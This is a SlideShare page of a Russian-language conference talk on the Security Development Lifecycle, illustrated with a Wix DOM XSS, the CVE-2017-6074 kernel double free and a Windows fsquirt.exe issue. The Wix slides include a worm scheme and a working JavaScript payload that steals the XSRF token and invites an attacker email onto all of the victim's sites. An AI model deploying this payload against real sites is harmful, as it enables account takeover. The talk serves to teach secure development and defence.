SlideShare a Scribd company logo
1 of 33
Download to read offline
#SECONRU
Жизнь без SDL
Перспективный мониторинг
Васин Вячеслав
Cистемный аналитик ЗАО «Перспективный мониторинг»
21-22 АПРЕЛЯ | ПЕНЗА
2
Практики SDL
Коротко о 7-ми фазах SDL.
Понятие SDL
Что такое и зачем.
Начало
План доклада
Перспективный мониторинг
3
Уязвимость из 2017
CVE-2017-6074. Linux kernel bug.
Разбор уязвимости 11-летней
давности.
Уязвимость из 2016
Заражаем миллионы сайтов в
пару кликов. Разбор DOM XSS на
примере.
День из жизни «ПМ»
Используем «fsquirt.exe» в ОС
Windows 7/8/8.1. Рассказ об
одном случае из жизни компании.
и немного материалов для изучения
Финал
Перспективный мониторинг
4
Перспективный мониторинг
Что такое SDL?
5
Что такое SDL?
Перспективный мониторинг
Жизненный цикл обеспечения безопасности при разработке (Security Development
Lifecycle, SDL) — это процесс обеспечения безопасности в сфере разработки
программного обеспечения. Сочетая в себе как глобальный, так и практический
подход, процесс SDL призван уменьшить число уязвимостей в программном
обеспечении и уровень их серьезности.
6
Общие сведения
о действиях по обеспечению безопасности в рамках SDL
Обучение Требования Проект Реализация Проверка Релиз Реакция
Обучение
основам
безопасности.
Требования
безопасности.
Критерии
качества.
Оценка рисков.
Требования к
проекту.
Анализ
поверхности
атаки.
Модель угроз.
Использование
одобренных
инструментов.
Отказ от
небезопасных
функций.
Статический
анализ.
Динамический
анализ.
Фаззинг.
Проверка
поверхности
атаки.
План
реагирования
на инциденты.
Финальная
проверка
безопасности.
Релиз в архив.
Выполнение
плана
реагирования
на инциденты.
Перспективный мониторинг
7
Люди
Технологии
Процесс
и др.
Общая картина безопасности
Перспективный мониторинг
ЗАРАЖАЕМ МИЛЛИОНЫ САЙТОВ
В ПАРУ КЛИКОВ
или используем DOM XSS на деле
Перспективный мониторинг
9
Предварительно разместить на хостинге YOURSITE.COM
вредоносный файл:
/PACKAGES-BIN/WIXCODEINIT/WIXCODEINIT.MIN.JS
КЛИК №1
Добавить:
?REACTSOURCE=HTTP://YOURSITE.COM
к URL для любого сайта на платформе WIX.COM
КЛИК №2
Заражаем миллионы сайтов:
Перспективный мониторинг
10
01
02
03
04
Step 01
Создается сайт с DOM XSS в <IFRAME>
Step 02
Пользователь WIX посещает данный сайт
Step 03
Зараженный сайт использует подобный запрос в editor.wix.com и
внедряет DOM XSS в <IFRAME> на сайты пользователя
Step 04
Все сайты пользователя теперь имеют зараженный контент.
Возврат к Step 02
Превращаем атаку в червя
Перспективный мониторинг
11
Как так вышло?
Перспективный мониторинг
var queryUtil = (function () {
...
function getParameterFromQuery(query, name) {
name = name.replace(/[[]/, '[').replace(/[]]/, ']');
var regex = new RegExp('[?&]' + name + '=([^&#]*)');
var results = regex.exec(query);
return results && results[1] ? decodeURIComponent(results[1]).replace(/+/g, '
') : '';
}
...
return {
getParameterByName: getParameterFromQuery.bind(null, window.location.search)
...
};
}());
Step 01. Получение параметра из URL
12
Как так вышло?
Перспективный мониторинг
var config = getFullRjsConfig(getViewerRjsConfig, packagesUtil, {
baseVersionOverride: queryUtil.getParameterByName('ReactSource'),
artifactName: 'santa'
},serviceTopology);
...
requirejs.config(config);
Step 02. Создание объекта baseVersionOverride для getFullRJsConfig
13
Как так вышло?
Перспективный мониторинг
function getFullRjsConfig(rjsConfigFunc, packagesUtil, artifactData, serviceTopology)
{
//Call with serviceTopology and all arguments after
var config = rjsConfigFunc.apply(null, Array.prototype.slice.call(arguments, 3));
config = packagesUtil.buildConfig(config);
...
var isAddress = RegExp.prototype.test.bind(/^https?:///);
config.baseUrl = isAddress(artifactData.baseVersionOverride) ?
artifactData.baseVersionOverride :
joinURL(artifactPath, artifactData.baseVersionOverride);
...
return config;
}
Step 03. Установка config.baseUrl
14
Как так вышло?
Перспективный мониторинг
var config = getFullRjsConfig(getViewerRjsConfig, packagesUtil, {
baseVersionOverride: queryUtil.getParameterByName('ReactSource'),
artifactName: 'santa'
},serviceTopology);
...
requirejs.config(config);
Step 04. Вызов requires.config с новым config.baseUrl
15
Как так вышло?
Перспективный мониторинг
requirejs.config({
//By default load any module IDs from js/lib
baseUrl: 'js/lib',
//except, if the module ID starts with "app",
...
...
})
Step 05. RequireJS загружает внешние ресурсы через config.baseUrl
url = config.baseUrl + url;
…
var node = document.createElement('script');
…
node.src = url;
…
head.appendChild(node);
Псевдокод процесса загрузки:
16
Как так вышло?
Перспективный мониторинг
Поместите payload в файл /packages-bin/wixCodeInit/wixCodeInit.min.js вашего домена
(yoursite.com)
xsrf = document.cookie.match(/XSRF-TOKEN=(.*?);/)[1]; // get the csrf token
$.getJSON('/_api/wix-dashboard-ng-webapp/metaSite', function(data){ // get all the current users sites
data.payload.map(function(site){
$.ajax({
type: 'POST',
url: '/_api/wix-dashboard-ng-webapp/authorization/site/'+site.metaSiteId+'/invite',
data: JSON.stringify({email: "hacker@l33t.com", role: "contributor"}),
headers: { "x-xsrf-token": xsrf},
contentType: "application/json;charset=UTF-8",
success: function(data){
console.log(data)
}
});
});
})
Пример payload:
Step 06. Размещение payload в файл для загрузки всеми страницами WIX
17
Изменение контента на сайте для
целевых пользователей1
2
3
4
5
6
Варианты использования
Угон пользовательских данных Wix,
Facebook или Twitter
Обман пользователей сайта для
загрузки вредоносного по
Доход от рекламы путем вставки
рекламы на веб-страницах
Spoof банковских веб-страниц
Получение прав администратора
атакуемого веб-сайта
Перспективный мониторинг
18
• Используйте стандарты безопасного
программирования;
• Используйте автоматические
инструменты обзора кода;
• Осуществляйте независимый обзор
кода третьей стороной или
специалистами ИБ;
Реализация
• Используйте инструменты
динамического анализа;
• Закажите тестирование на
проникновение.
Проверка
Перспективный мониторинг
Используем SDL
19
1
2
3
4 6
5
Проверить «нейминг»,
форматирование и т.д.
Проверить неэффективное
использование ресурсов
Проверить аспекты
безопасности в коде
Проверить аргументы всех
методов, используемых на
критичном участке
Проверить места где юнит
тесты не покрыли
определенную область
Проверить ссылки на null
Перспективный мониторинг
Code Review Checklist
20
Как все исправить?
Перспективный мониторинг
CVE-2017-6074. LINUX KERNEL BUG
или почему ошибке 11 лет
Перспективный мониторинг
22
Как так вышло?
Перспективный мониторинг
kfree(pointer)
...
some_object = kmalloc()
...
kfree(pointer)
Псевдокод:
23
Как так вышло?
Перспективный мониторинг
kfree(pointer)
...
some_object = kmalloc()
...
kfree(pointer)
Псевдокод:
https://github.com/xairy/kernel-
exploits/tree/master/CVE-2017-6074
Proof-of-concept:
24
1
2
3
4
РАСКРЫТИЕ ИНФОРМАЦИИ
МОДИФИКАЦИЯ ИНФОРМАЦИИ
НАРУШЕНИЕ ДОСТУПНОСТИ
ВЫПОЛНЕНИЕ КОДА
Оценка последствий
Перспективный мониторинг
Двойное освобождение памяти может
привести к тому, что примитив “Write-
what-where” позволит злоумышленнику
выполнить произвольный код
В памяти может оказаться указатель на все
что угодно
Использование ранее освобожденной
памяти может повредить действительные
данные, если область памяти была
выделена и использована должным
образом в другом месте
Если консолидация чанков (chunk)
происходит после использования ранее
освобожденных данных, то может
произойти сбой, если в качестве
информации о фрагменте используется
недопустимый чанк
25
• По возможности используйте язык,
который обеспечивает автоматическое
управление памятью
Проектирование
• Используйте правила по управлению
памятью;
• После освобождения памяти, установите
указатель на эту память в NULL;
• При ООП, убедитесь, что деструкторы
объектов удаляют каждый участок
памяти только один раз;
• Используйте инструменты статического
анализа.
Реализация
• Используйте инструменты
динамического анализа;
• Используйте инструменты фаззинга.
Проверка
Перспективный мониторинг
Используем SDL
26
Как все исправить?
Перспективный мониторинг
Отключить DCCP:
Загрузить патч:
# echo "install dccp /bin/true" >>
/etc/modprobe.d/disable-dccp.conf
https://github.com/torvalds/linux/
commit/5edabca9d4cff7f1f2b68f0bac5
5ef99d9798ba4
ОДИН ДЕНЬ ИЗ ЖИЗНИ «ПМ»
или используем «fsquirt» в Windows своими руками
Перспективный мониторинг
28
Process Monitor
Перспективный мониторинг
29
Пример эксплуатации
Перспективный мониторинг
30
Определение требований ИБ
Анализ/сокращение поверхности атаки
Перспективный мониторинг
Используем SDL
Тестирование сторонних компонент
31
Как все исправить?
Перспективный мониторинг
Чтобы обезопасить себя от такой атаки стоит взять пустой исполняемый файл, который
ничего не делает, и поместить его по пути «C:Windowssystem32fsquirt.exe».
В таком случае будет запущено данное приложение, и не будет осуществляться поиск
иных путей исполнения. В Windows 10 данный файл имеется.
32
Что читать?
Перспективный мониторинг
The Security Development Lifecycle
OWASP Code Review Guide & OWASP Testing Guide
Best Kept Secrets of Peer Code Review
Блог компании «Перспективный мониторинг» на Хабрахабр
Перспективный мониторинг
Васин Вячеслав
Cистемный аналитик ЗАО «Перспективный мониторинг»
vyacheslav.vasin@amonitoring.ru
dev.vasinofficial@gmail.com

More Related Content

What's hot

Windows Azure and node js
Windows Azure and node jsWindows Azure and node js
Windows Azure and node jsAlex Tumanoff
 
Никита Галкин "Ловушки микросервисной архитектуры"
Никита Галкин "Ловушки микросервисной архитектуры"Никита Галкин "Ловушки микросервисной архитектуры"
Никита Галкин "Ловушки микросервисной архитектуры"Fwdays
 
CodeFest 2011. Крестьянинов М. — Обзор аспектно-ориентированного программиров...
CodeFest 2011. Крестьянинов М. — Обзор аспектно-ориентированного программиров...CodeFest 2011. Крестьянинов М. — Обзор аспектно-ориентированного программиров...
CodeFest 2011. Крестьянинов М. — Обзор аспектно-ориентированного программиров...CodeFest
 
Как перестать хранить секреты в git и начать использовать Hashicorp Vault
Как перестать хранить секреты в git и начать использовать Hashicorp VaultКак перестать хранить секреты в git и начать использовать Hashicorp Vault
Как перестать хранить секреты в git и начать использовать Hashicorp VaultOleg Mykolaichenko
 
Объектно-ориентированное программирование. Лекции 15 и 16
Объектно-ориентированное программирование. Лекции 15 и 16Объектно-ориентированное программирование. Лекции 15 и 16
Объектно-ориентированное программирование. Лекции 15 и 16Dima Dzuba
 
РусКрипто CTF 2010 Full Disclosure (мастер класс)
РусКрипто CTF 2010 Full Disclosure (мастер класс)РусКрипто CTF 2010 Full Disclosure (мастер класс)
РусКрипто CTF 2010 Full Disclosure (мастер класс)Dmitry Evteev
 
Lviv MDDay 2014. Андріан Буданцов “Внутрішній світ iOS додатків”
Lviv MDDay 2014. Андріан Буданцов “Внутрішній світ iOS додатків”Lviv MDDay 2014. Андріан Буданцов “Внутрішній світ iOS додатків”
Lviv MDDay 2014. Андріан Буданцов “Внутрішній світ iOS додатків”Lviv Startup Club
 
МАИ, Сети ЭВМ, Лекция №7
МАИ, Сети ЭВМ, Лекция №7МАИ, Сети ЭВМ, Лекция №7
МАИ, Сети ЭВМ, Лекция №7Dima Dzuba
 
Объять необъятное, или как использовать несколько MVVM фреймворков в одном XA...
Объять необъятное, или как использовать несколько MVVM фреймворков в одном XA...Объять необъятное, или как использовать несколько MVVM фреймворков в одном XA...
Объять необъятное, или как использовать несколько MVVM фреймворков в одном XA...Denis Tsvettsih
 
Практика использования Dependency Injection
Практика использования Dependency InjectionПрактика использования Dependency Injection
Практика использования Dependency InjectionPlatonov Sergey
 
Unit test быстрый старт
Unit test быстрый стартUnit test быстрый старт
Unit test быстрый стартAntonio
 
Леонид Васильев "Python в инфраструктуре поиска"
Леонид Васильев "Python в инфраструктуре поиска"Леонид Васильев "Python в инфраструктуре поиска"
Леонид Васильев "Python в инфраструктуре поиска"Yandex
 
Оптимизация трассирования с использованием Expression templates
Оптимизация трассирования с использованием Expression templatesОптимизация трассирования с использованием Expression templates
Оптимизация трассирования с использованием Expression templatesPlatonov Sergey
 
Многопоточность в браузере. Модель акторов — Константин Крамлих
Многопоточность в браузере. Модель акторов — Константин КрамлихМногопоточность в браузере. Модель акторов — Константин Крамлих
Многопоточность в браузере. Модель акторов — Константин КрамлихYandex
 
Asynchrony and coroutines
Asynchrony and coroutinesAsynchrony and coroutines
Asynchrony and coroutinescorehard_by
 
Использование шаблонов и RTTI для конфигурации симулятора флеш-накопителя - Г...
Использование шаблонов и RTTI для конфигурации симулятора флеш-накопителя - Г...Использование шаблонов и RTTI для конфигурации симулятора флеш-накопителя - Г...
Использование шаблонов и RTTI для конфигурации симулятора флеш-накопителя - Г...Yandex
 
Некоторые паттерны реализации полиморфного поведения в C++ – Дмитрий Леванов,...
Некоторые паттерны реализации полиморфного поведения в C++ – Дмитрий Леванов,...Некоторые паттерны реализации полиморфного поведения в C++ – Дмитрий Леванов,...
Некоторые паттерны реализации полиморфного поведения в C++ – Дмитрий Леванов,...Yandex
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
 

What's hot (19)

Windows Azure and node js
Windows Azure and node jsWindows Azure and node js
Windows Azure and node js
 
Никита Галкин "Ловушки микросервисной архитектуры"
Никита Галкин "Ловушки микросервисной архитектуры"Никита Галкин "Ловушки микросервисной архитектуры"
Никита Галкин "Ловушки микросервисной архитектуры"
 
CodeFest 2011. Крестьянинов М. — Обзор аспектно-ориентированного программиров...
CodeFest 2011. Крестьянинов М. — Обзор аспектно-ориентированного программиров...CodeFest 2011. Крестьянинов М. — Обзор аспектно-ориентированного программиров...
CodeFest 2011. Крестьянинов М. — Обзор аспектно-ориентированного программиров...
 
Как перестать хранить секреты в git и начать использовать Hashicorp Vault
Как перестать хранить секреты в git и начать использовать Hashicorp VaultКак перестать хранить секреты в git и начать использовать Hashicorp Vault
Как перестать хранить секреты в git и начать использовать Hashicorp Vault
 
Объектно-ориентированное программирование. Лекции 15 и 16
Объектно-ориентированное программирование. Лекции 15 и 16Объектно-ориентированное программирование. Лекции 15 и 16
Объектно-ориентированное программирование. Лекции 15 и 16
 
РусКрипто CTF 2010 Full Disclosure (мастер класс)
РусКрипто CTF 2010 Full Disclosure (мастер класс)РусКрипто CTF 2010 Full Disclosure (мастер класс)
РусКрипто CTF 2010 Full Disclosure (мастер класс)
 
Lviv MDDay 2014. Андріан Буданцов “Внутрішній світ iOS додатків”
Lviv MDDay 2014. Андріан Буданцов “Внутрішній світ iOS додатків”Lviv MDDay 2014. Андріан Буданцов “Внутрішній світ iOS додатків”
Lviv MDDay 2014. Андріан Буданцов “Внутрішній світ iOS додатків”
 
RoboGuice
RoboGuiceRoboGuice
RoboGuice
 
МАИ, Сети ЭВМ, Лекция №7
МАИ, Сети ЭВМ, Лекция №7МАИ, Сети ЭВМ, Лекция №7
МАИ, Сети ЭВМ, Лекция №7
 
Объять необъятное, или как использовать несколько MVVM фреймворков в одном XA...
Объять необъятное, или как использовать несколько MVVM фреймворков в одном XA...Объять необъятное, или как использовать несколько MVVM фреймворков в одном XA...
Объять необъятное, или как использовать несколько MVVM фреймворков в одном XA...
 
Практика использования Dependency Injection
Практика использования Dependency InjectionПрактика использования Dependency Injection
Практика использования Dependency Injection
 
Unit test быстрый старт
Unit test быстрый стартUnit test быстрый старт
Unit test быстрый старт
 
Леонид Васильев "Python в инфраструктуре поиска"
Леонид Васильев "Python в инфраструктуре поиска"Леонид Васильев "Python в инфраструктуре поиска"
Леонид Васильев "Python в инфраструктуре поиска"
 
Оптимизация трассирования с использованием Expression templates
Оптимизация трассирования с использованием Expression templatesОптимизация трассирования с использованием Expression templates
Оптимизация трассирования с использованием Expression templates
 
Многопоточность в браузере. Модель акторов — Константин Крамлих
Многопоточность в браузере. Модель акторов — Константин КрамлихМногопоточность в браузере. Модель акторов — Константин Крамлих
Многопоточность в браузере. Модель акторов — Константин Крамлих
 
Asynchrony and coroutines
Asynchrony and coroutinesAsynchrony and coroutines
Asynchrony and coroutines
 
Использование шаблонов и RTTI для конфигурации симулятора флеш-накопителя - Г...
Использование шаблонов и RTTI для конфигурации симулятора флеш-накопителя - Г...Использование шаблонов и RTTI для конфигурации симулятора флеш-накопителя - Г...
Использование шаблонов и RTTI для конфигурации симулятора флеш-накопителя - Г...
 
Некоторые паттерны реализации полиморфного поведения в C++ – Дмитрий Леванов,...
Некоторые паттерны реализации полиморфного поведения в C++ – Дмитрий Леванов,...Некоторые паттерны реализации полиморфного поведения в C++ – Дмитрий Леванов,...
Некоторые паттерны реализации полиморфного поведения в C++ – Дмитрий Леванов,...
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScript
 

Similar to Жизнь без SDL

CQRS на практике. В поиске точки масштабирования и новых метафор
CQRS на практике. В поиске точки масштабирования и новых метафорCQRS на практике. В поиске точки масштабирования и новых метафор
CQRS на практике. В поиске точки масштабирования и новых метафорAlexander Byndyu
 
Инструментируй это
Инструментируй этоИнструментируй это
Инструментируй этоRoman Dvornov
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...Dmitry Evteev
 
Непрерывная интеграция. Практическое применение
Непрерывная интеграция. Практическое применениеНепрерывная интеграция. Практическое применение
Непрерывная интеграция. Практическое применениеdevclub
 
Анализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторийАнализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторийPositive Hack Days
 
Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...
Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...
Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...Solar Security
 
Bachelors Diploma Slides Short Version
Bachelors Diploma Slides Short VersionBachelors Diploma Slides Short Version
Bachelors Diploma Slides Short VersionDenis Zakharov
 
Sencha Complete: Kharkiv JS #1
Sencha Complete: Kharkiv JS #1Sencha Complete: Kharkiv JS #1
Sencha Complete: Kharkiv JS #1Illya Klymov
 
Современный статический анализ кода: что умеет он, чего не умели линтеры
Современный статический анализ кода: что умеет он, чего не умели линтерыСовременный статический анализ кода: что умеет он, чего не умели линтеры
Современный статический анализ кода: что умеет он, чего не умели линтерыcorehard_by
 
Как навести порядок в коде вашего web-приложения, Андрей Чебукин
Как навести порядок в коде вашего web-приложения, Андрей Чебукин Как навести порядок в коде вашего web-приложения, Андрей Чебукин
Как навести порядок в коде вашего web-приложения, Андрей Чебукин Sigma Software
 
"Windows Azure для мобильных платформ". Владимир Юнев, Microsoft
"Windows Azure для мобильных платформ". Владимир Юнев, Microsoft"Windows Azure для мобильных платформ". Владимир Юнев, Microsoft
"Windows Azure для мобильных платформ". Владимир Юнев, MicrosoftYandex
 
Практика использования Solar inCode
Практика использования Solar inCodeПрактика использования Solar inCode
Практика использования Solar inCodeSolar Security
 
Java осень 2012 лекция 5
Java осень 2012 лекция 5Java осень 2012 лекция 5
Java осень 2012 лекция 5Technopark
 
IT-инфраструктура. FAQ для разработчика
IT-инфраструктура. FAQ для разработчикаIT-инфраструктура. FAQ для разработчика
IT-инфраструктура. FAQ для разработчикаMikhail Chinkov
 
Easy authcache 2 кеширование для pro родионов игорь
Easy authcache 2   кеширование для pro родионов игорьEasy authcache 2   кеширование для pro родионов игорь
Easy authcache 2 кеширование для pro родионов игорьdrupalconf
 
Опасная сериализация / Иван Юшкевич (Digital Security)
Опасная сериализация / Иван Юшкевич (Digital Security)Опасная сериализация / Иван Юшкевич (Digital Security)
Опасная сериализация / Иван Юшкевич (Digital Security)Ontico
 
MySQL 5.7 - NoSQL - JSON, Protocol X, Document Store / Петр Зайцев (Percona)
MySQL 5.7 - NoSQL - JSON, Protocol X, Document Store / Петр Зайцев (Percona)MySQL 5.7 - NoSQL - JSON, Protocol X, Document Store / Петр Зайцев (Percona)
MySQL 5.7 - NoSQL - JSON, Protocol X, Document Store / Петр Зайцев (Percona)Ontico
 
PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#
PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#
PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#Andrey Karpov
 
Сергей Константинов — Что интересного готовит нам W3C
Сергей Константинов — Что интересного готовит нам W3CСергей Константинов — Что интересного готовит нам W3C
Сергей Константинов — Что интересного готовит нам W3CYandex
 

Similar to Жизнь без SDL (20)

CQRS на практике. В поиске точки масштабирования и новых метафор
CQRS на практике. В поиске точки масштабирования и новых метафорCQRS на практике. В поиске точки масштабирования и новых метафор
CQRS на практике. В поиске точки масштабирования и новых метафор
 
Инструментируй это
Инструментируй этоИнструментируй это
Инструментируй это
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
 
Непрерывная интеграция. Практическое применение
Непрерывная интеграция. Практическое применениеНепрерывная интеграция. Практическое применение
Непрерывная интеграция. Практическое применение
 
Анализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторийАнализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторий
 
Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...
Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...
Спроси эксперта. 2 сезон 2 серия. Тестирование приложений на уязвимости. Прак...
 
Bachelors Diploma Slides Short Version
Bachelors Diploma Slides Short VersionBachelors Diploma Slides Short Version
Bachelors Diploma Slides Short Version
 
Sencha Complete: Kharkiv JS #1
Sencha Complete: Kharkiv JS #1Sencha Complete: Kharkiv JS #1
Sencha Complete: Kharkiv JS #1
 
JSSDK: Начало
JSSDK: НачалоJSSDK: Начало
JSSDK: Начало
 
Современный статический анализ кода: что умеет он, чего не умели линтеры
Современный статический анализ кода: что умеет он, чего не умели линтерыСовременный статический анализ кода: что умеет он, чего не умели линтеры
Современный статический анализ кода: что умеет он, чего не умели линтеры
 
Как навести порядок в коде вашего web-приложения, Андрей Чебукин
Как навести порядок в коде вашего web-приложения, Андрей Чебукин Как навести порядок в коде вашего web-приложения, Андрей Чебукин
Как навести порядок в коде вашего web-приложения, Андрей Чебукин
 
"Windows Azure для мобильных платформ". Владимир Юнев, Microsoft
"Windows Azure для мобильных платформ". Владимир Юнев, Microsoft"Windows Azure для мобильных платформ". Владимир Юнев, Microsoft
"Windows Azure для мобильных платформ". Владимир Юнев, Microsoft
 
Практика использования Solar inCode
Практика использования Solar inCodeПрактика использования Solar inCode
Практика использования Solar inCode
 
Java осень 2012 лекция 5
Java осень 2012 лекция 5Java осень 2012 лекция 5
Java осень 2012 лекция 5
 
IT-инфраструктура. FAQ для разработчика
IT-инфраструктура. FAQ для разработчикаIT-инфраструктура. FAQ для разработчика
IT-инфраструктура. FAQ для разработчика
 
Easy authcache 2 кеширование для pro родионов игорь
Easy authcache 2   кеширование для pro родионов игорьEasy authcache 2   кеширование для pro родионов игорь
Easy authcache 2 кеширование для pro родионов игорь
 
Опасная сериализация / Иван Юшкевич (Digital Security)
Опасная сериализация / Иван Юшкевич (Digital Security)Опасная сериализация / Иван Юшкевич (Digital Security)
Опасная сериализация / Иван Юшкевич (Digital Security)
 
MySQL 5.7 - NoSQL - JSON, Protocol X, Document Store / Петр Зайцев (Percona)
MySQL 5.7 - NoSQL - JSON, Protocol X, Document Store / Петр Зайцев (Percona)MySQL 5.7 - NoSQL - JSON, Protocol X, Document Store / Петр Зайцев (Percona)
MySQL 5.7 - NoSQL - JSON, Protocol X, Document Store / Петр Зайцев (Percona)
 
PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#
PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#
PVS-Studio. Статический анализатор кода. Windows/Linux, C/C++/C#
 
Сергей Константинов — Что интересного готовит нам W3C
Сергей Константинов — Что интересного готовит нам W3CСергей Константинов — Что интересного готовит нам W3C
Сергей Константинов — Что интересного готовит нам W3C
 

More from Advanced monitoring

Безопасность данных мобильных приложений. Мифы и реальность.
Безопасность данных мобильных приложений. Мифы и реальность.Безопасность данных мобильных приложений. Мифы и реальность.
Безопасность данных мобильных приложений. Мифы и реальность.Advanced monitoring
 
Игнорируем уязвимости сегодня? Расплачиваемся завтра!
Игнорируем уязвимости сегодня? Расплачиваемся завтра!Игнорируем уязвимости сегодня? Расплачиваемся завтра!
Игнорируем уязвимости сегодня? Расплачиваемся завтра!Advanced monitoring
 
Типовые сценарии атак на современные клиент-серверные приложения
Типовые сценарии атак на современные клиент-серверные приложенияТиповые сценарии атак на современные клиент-серверные приложения
Типовые сценарии атак на современные клиент-серверные приложенияAdvanced monitoring
 
Кто и как атаковал российские организации в 2016-ом. Статистика и тенденции.
Кто и как атаковал российские организации в 2016-ом. Статистика и тенденции.Кто и как атаковал российские организации в 2016-ом. Статистика и тенденции.
Кто и как атаковал российские организации в 2016-ом. Статистика и тенденции.Advanced monitoring
 
Vulnerability Prevention. Управляем уязвимостями – предупреждаем атаки
Vulnerability Prevention. Управляем уязвимостями – предупреждаем атакиVulnerability Prevention. Управляем уязвимостями – предупреждаем атаки
Vulnerability Prevention. Управляем уязвимостями – предупреждаем атакиAdvanced monitoring
 
Анализ защиты мобильных приложений Facebook, Instagram, LinkedIn, Вконтакте и...
Анализ защиты мобильных приложений Facebook, Instagram, LinkedIn, Вконтакте и...Анализ защиты мобильных приложений Facebook, Instagram, LinkedIn, Вконтакте и...
Анализ защиты мобильных приложений Facebook, Instagram, LinkedIn, Вконтакте и...Advanced monitoring
 
Threat Intelligence вам поможет, если его правильно приготовить…
Threat Intelligence вам поможет, если его правильно приготовить…Threat Intelligence вам поможет, если его правильно приготовить…
Threat Intelligence вам поможет, если его правильно приготовить…Advanced monitoring
 
Расследование инцидентов ИБ с помощью открытых интернет-источников
Расследование инцидентов ИБ с помощью открытых интернет-источниковРасследование инцидентов ИБ с помощью открытых интернет-источников
Расследование инцидентов ИБ с помощью открытых интернет-источниковAdvanced monitoring
 
Российская криптография: блочные шифры и их режимы шифрования (Russian crypto...
Российская криптография: блочные шифры и их режимы шифрования (Russian crypto...Российская криптография: блочные шифры и их режимы шифрования (Russian crypto...
Российская криптография: блочные шифры и их режимы шифрования (Russian crypto...Advanced monitoring
 
Юрий Чемёркин (Yury Chemerkin) Owasp russia 2016
Юрий Чемёркин (Yury Chemerkin) Owasp russia 2016Юрий Чемёркин (Yury Chemerkin) Owasp russia 2016
Юрий Чемёркин (Yury Chemerkin) Owasp russia 2016Advanced monitoring
 
Практический опыт мониторинга и анализа компьютерных атак
Практический опыт мониторинга и анализа компьютерных атакПрактический опыт мониторинга и анализа компьютерных атак
Практический опыт мониторинга и анализа компьютерных атакAdvanced monitoring
 
Анализ защищенности ПО и инфраструктур – подходы и результаты
Анализ защищенности ПО и инфраструктур – подходы и результатыАнализ защищенности ПО и инфраструктур – подходы и результаты
Анализ защищенности ПО и инфраструктур – подходы и результатыAdvanced monitoring
 

More from Advanced monitoring (12)

Безопасность данных мобильных приложений. Мифы и реальность.
Безопасность данных мобильных приложений. Мифы и реальность.Безопасность данных мобильных приложений. Мифы и реальность.
Безопасность данных мобильных приложений. Мифы и реальность.
 
Игнорируем уязвимости сегодня? Расплачиваемся завтра!
Игнорируем уязвимости сегодня? Расплачиваемся завтра!Игнорируем уязвимости сегодня? Расплачиваемся завтра!
Игнорируем уязвимости сегодня? Расплачиваемся завтра!
 
Типовые сценарии атак на современные клиент-серверные приложения
Типовые сценарии атак на современные клиент-серверные приложенияТиповые сценарии атак на современные клиент-серверные приложения
Типовые сценарии атак на современные клиент-серверные приложения
 
Кто и как атаковал российские организации в 2016-ом. Статистика и тенденции.
Кто и как атаковал российские организации в 2016-ом. Статистика и тенденции.Кто и как атаковал российские организации в 2016-ом. Статистика и тенденции.
Кто и как атаковал российские организации в 2016-ом. Статистика и тенденции.
 
Vulnerability Prevention. Управляем уязвимостями – предупреждаем атаки
Vulnerability Prevention. Управляем уязвимостями – предупреждаем атакиVulnerability Prevention. Управляем уязвимостями – предупреждаем атаки
Vulnerability Prevention. Управляем уязвимостями – предупреждаем атаки
 
Анализ защиты мобильных приложений Facebook, Instagram, LinkedIn, Вконтакте и...
Анализ защиты мобильных приложений Facebook, Instagram, LinkedIn, Вконтакте и...Анализ защиты мобильных приложений Facebook, Instagram, LinkedIn, Вконтакте и...
Анализ защиты мобильных приложений Facebook, Instagram, LinkedIn, Вконтакте и...
 
Threat Intelligence вам поможет, если его правильно приготовить…
Threat Intelligence вам поможет, если его правильно приготовить…Threat Intelligence вам поможет, если его правильно приготовить…
Threat Intelligence вам поможет, если его правильно приготовить…
 
Расследование инцидентов ИБ с помощью открытых интернет-источников
Расследование инцидентов ИБ с помощью открытых интернет-источниковРасследование инцидентов ИБ с помощью открытых интернет-источников
Расследование инцидентов ИБ с помощью открытых интернет-источников
 
Российская криптография: блочные шифры и их режимы шифрования (Russian crypto...
Российская криптография: блочные шифры и их режимы шифрования (Russian crypto...Российская криптография: блочные шифры и их режимы шифрования (Russian crypto...
Российская криптография: блочные шифры и их режимы шифрования (Russian crypto...
 
Юрий Чемёркин (Yury Chemerkin) Owasp russia 2016
Юрий Чемёркин (Yury Chemerkin) Owasp russia 2016Юрий Чемёркин (Yury Chemerkin) Owasp russia 2016
Юрий Чемёркин (Yury Chemerkin) Owasp russia 2016
 
Практический опыт мониторинга и анализа компьютерных атак
Практический опыт мониторинга и анализа компьютерных атакПрактический опыт мониторинга и анализа компьютерных атак
Практический опыт мониторинга и анализа компьютерных атак
 
